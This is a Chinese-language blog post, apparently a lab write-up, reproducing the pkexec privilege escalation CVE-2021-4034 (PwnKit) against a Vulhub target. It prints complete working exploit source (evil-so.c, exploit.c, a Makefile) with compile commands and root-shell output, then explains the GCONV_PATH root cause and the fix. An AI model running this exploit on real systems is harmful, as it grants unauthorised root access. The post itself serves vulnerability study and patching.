1787 字
9 分钟
PwnKit 提权漏洞(CVE-2021-4034)复现

CVE-2021-4034(PwnKit)是 polkit 的 pkexec 程序的本地提权漏洞,CVSS 7.8,2022 年 1 月 25 日由 Qualys 披露。pkexec 是一个 SUID root 程序,供普通用户按策略以特权身份执行命令。它处理参数数量为 0 的调用时存在越界读写:把环境变量误当作程序路径解析,再把解析结果写回越界位置,攻击者借此向环境变量区写入 GCONV_PATH,诱导 glibc 加载当前目录下的恶意 gconv 模块;模块在 SUID root 进程内执行 setuid(0) 并启动 root Shell。该缺陷自 2009 年 pkexec 首次发布起存在了 12 年,各发行版在披露当日开始陆续发布修复。

复现基于 Vulhub 的 polkit/CVE-2021-4034 靶场(Qemu 虚拟机内的 Ubuntu 20.04),从 SSH 登录普通用户开始,走完 SUID 程序枚举、版本确认、利用代码检索、编译执行的完整流程,并拆解从越界读写到模块加载的利用链。

漏洞基础信息#

漏洞编号CVSS 评分影响版本漏洞类型
CVE-2021-40347.82009 年首次发布以来的所有 pkexec 版本;各主流发行版 2022 年 1 月 25 日起陆续修复本地权限提升(LPE)

漏洞复现#

复现环境准备#

使用 Vulhub 快速搭建漏洞环境,因为容器中运行了 Qemu 虚拟机,所以初始化需要消耗更长时间。可以使用 docker compose logs 查看运行时的日志。

Terminal window
┌──(kali㉿kali)-[~]
└─$ apt install docker.io docker-compose # 安装Docker和docker-compose
└─$ git clone https://github.com/vulhub/vulhub.git # 将 Vulhub 项目克隆到本地
└─$ cd vulhub/polkit/CVE-2021-4034
└─$ docker-compose up -d # 拉取镜像并启动容器
└─$ docker ps # 确认容器启动状态
3c5c6abb13d9 vulhub/polkit:0.105 "/bin/sh -c 'qemu-sy…" 24 minutes ago Up 24 minutes 0.0.0.0:2222->2222/tcp, :::2222->2222/tcp cve-2021-4034-cmd-1
└─$ docker-compose logs
# 日志出现以下内容说明初始化成功
cmd-1 | [ OK ] Finished Execute cloud user/final scripts.
cmd-1 | [ OK ] Reached target Cloud-init target.

端口扫描与服务识别#

Terminal window
┌──(kali㉿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script "default,vulners" 192.168.31.148
# 扫描结果
PORT STATE SERVICE VERSION
2222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 52:8a:4b:9e:e1:9e:37:71:d0:d4:04:ea:78:85:ea:ef (RSA)
| 256 a7:40:57:0f:9b:b8:4a:f0:4d:e5:87:8f:0d:75:31:69 (ECDSA)
|_ 256 ac:8e:ea:83:00:ef:b8:a2:b4:fb:b2:d4:3b:14:82:15 (ED25519)
MAC Address: 00:0C:29:B3:23:74 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OpenSSH 8.2p1 Ubuntu 4:这个版本对应的上游操作系统是 Ubuntu 20.04(Focal Fossa)。 2222/tcp:非标准 SSH 端口。

登录目标并枚举 SUID 程序#

在漏洞复现过程中我们已知用户 ubuntu 的密码为 vulhub,先使用这个已知的账户登录:

Terminal window
┌──(kali㉿kali)-[~]
└─$ ssh ubuntu@192.168.31.148 -p 2222
ubuntu@192.168.31.148's password:
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-26-generic x86_64)
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
ubuntu@ubuntu:~$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),118(lxd)

登录成功后首先要寻找那些由 root 拥有且具有 SUID 权限的可执行文件(运行这些文件时,进程会以 root 身份运行)。

Terminal window
ubuntu@ubuntu:~$ find / -perm -u=s -type f 2>/dev/null
/snap/core18/1705/bin/mount
/snap/core18/1705/bin/ping
/snap/core18/1705/bin/su
/snap/core18/1705/bin/umount
/snap/core18/1705/usr/bin/chfn
/snap/core18/1705/usr/bin/chsh
/snap/core18/1705/usr/bin/gpasswd
/snap/core18/1705/usr/bin/newgrp
/snap/core18/1705/usr/bin/passwd
/snap/core18/1705/usr/bin/sudo
/snap/core18/1705/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1705/usr/lib/openssh/ssh-keysign
/snap/snapd/7264/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/at
/usr/bin/chsh
/usr/bin/su
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/umount
/usr/bin/passwd
/usr/bin/mount
/usr/bin/fusermount

在这一堆输出中,/usr/bin/pkexec 是本次的目标。列表中其余的 SUID 程序(如 sudo、passwd、mount)经过数十年的安全审计,存在公开可利用漏洞的情况相对少见,但并非没有:同一靶机上的 sudo 就存在 CVE-2021-3156,复现见Baron Samedit 提权漏洞(CVE-2021-3156)复现。

确认版本并检索利用代码#

当看到 /usr/bin/pkexec 和 /usr/lib/policykit-1/polkit-agent-helper-1 时,可以直接联想到 PwnKit。首先查看 pkexec 版本:

Terminal window
ubuntu@ubuntu:~$ pkexec --version
pkexec version 0.105

这个版本存在 CVE-2021-4034 漏洞,使用 searchsploit 搜索漏洞信息:

Terminal window
┌──(kali㉿kali)-[~]
└─$ searchsploit --cve 2021-4034
------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------- ---------------------------------
PolicyKit-1 0.105-31 - Privilege Escalatio | linux/local/50689.txt
------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

使用 searchsploit -m 50689.txt 将漏洞信息下载到当前目录,或直接在 /usr/share/exploitdb/exploits/linux/local/50689.txt 查看,其中包含完整的利用代码:

# Exploit Title: PolicyKit-1 0.105-31 - Privilege Escalation
# Exploit Author: Lance Biggerstaff
# Original Author: ryaagard (https://github.com/ryaagard)
# Date: 27-01-2022
# Github Repo: https://github.com/ryaagard/CVE-2021-4034
# References: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
# Description: The exploit consists of three files `Makefile`, `evil-so.c` & `exploit.c`
##### Makefile #####
all:
gcc -shared -o evil.so -fPIC evil-so.c
gcc exploit.c -o exploit
clean:
rm -r ./GCONV_PATH=. && rm -r ./evildir && rm exploit && rm evil.so
#################
##### evil-so.c #####
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv() {}
void gconv_init() {
setuid(0);
setgid(0);
setgroups(0);
execve("/bin/sh", NULL, NULL);
}
#################
##### exploit.c #####
#include <stdio.h>
#include <stdlib.h>
#define BIN "/usr/bin/pkexec"
#define DIR "evildir"
#define EVILSO "evil"
int main()
{
char *envp[] = {
DIR,
"PATH=GCONV_PATH=.",
"SHELL=ryaagard",
"CHARSET=ryaagard",
NULL
};
char *argv[] = { NULL };
system("mkdir GCONV_PATH=.");
system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR);
system("mkdir " DIR);
system("echo 'module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILSO "\t\t\t2' > " DIR "/gconv-modules");
system("cp " EVILSO ".so " DIR);
execve(BIN, argv, envp);
return 0;
}
#################

提权#

按照文本给出的方式编译并执行,成功提权:

Terminal window
ubuntu@ubuntu:~$ gcc -shared -o evil.so -fPIC evil-so.c
ubuntu@ubuntu:~$ gcc exploit.c -o exploit
ubuntu@ubuntu:~$ ./exploit
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)

同一靶机上还有另外两个可用的提权漏洞:sudo 的堆溢出(CVE-2021-3156)与内核 OverlayFS 的文件能力校验缺陷(CVE-2021-3493),完整复现分别见Baron Samedit 提权漏洞(CVE-2021-3156)复现和OverlayFS 提权漏洞(CVE-2021-3493)复现。

漏洞核心原理#

CVE-2021-4034(PwnKit)的核心原理在于 pkexec 程序对命令行参数处理的一个越界读取(Out-of-bounds Read)漏洞,以及由此引发的环境变量写入。

参数处理越界#

在 Linux 中,一个程序的 main 函数接收两个重要的参数:argc(参数数量)和 argv(指向参数字符串的指针数组)。按照规范:argv[0] 通常是程序自身的路径,argv[argc] 必须是一个 NULL 指针。

在调用 pkexec 时,如果攻击者强制传递一个完全为空的数组(即 argc = 0),那么 argv[0] 实际上就是 NULL。然而,pkexec 的代码逻辑假设 argc 至少为 1。它会尝试读取 argv[1] 来获取要执行的命令。由于 argv[1] 已经超出了 argv 数组的范围,根据内存布局,它会越界读取到紧随其后的 envp(环境变量指针数组)中的第一个元素。

将环境变量误认为路径#

当 pkexec 越界读取了第一个环境变量后,它会将这个字符串视作一个程序路径。接着,pkexec 会利用环境变量中的 PATH 变量去寻找这个路径的绝对位置。如果寻找到匹配项,它会将寻找到的绝对路径写回 argv[1]。

利用 GCONV_PATH 注入恶意库#

攻击者在当前目录下创建一个名为 GCONV_PATH=. 的文件夹,又在环境变量中设置一个名为 GCONV_PATH=. 的条目。通过上述的越界写入逻辑,pkexec 在执行过程中会调用 gconv 库进行字符集转换。如果环境变量中存在 GCONV_PATH,pkexec 会信任这个路径并加载其中的 gconv-modules 配置文件。

由于 pkexec 拥有 SUID Root 权限,它会以 Root 身份加载攻击者在配置文件中指定的恶意 .so 共享库。这个共享库在加载时(利用 __attribute__((constructor)))执行 setuid(0) 并启动 /bin/sh,从而完成提权。

修复方案#

  • 升级 polkit 至各发行版 2022 年 1 月 25 日之后的安全更新版本(如 Ubuntu 20.04 的 policykit-1 0.105-31ubuntu0.2);
  • 该漏洞无需交互、默认配置即可利用,且存在了 12 年,长期未更新的系统与容器镜像都可能受影响,升级后应确认 pkexec 已更新。

参考链接#

PwnKit 提权漏洞(CVE-2021-4034)复现
https://blog.mal-suen.cn/posts/2023/05/131/
作者
Malcolm
发布于
2023-05-11
许可协议
CC BY-NC-SA 4.0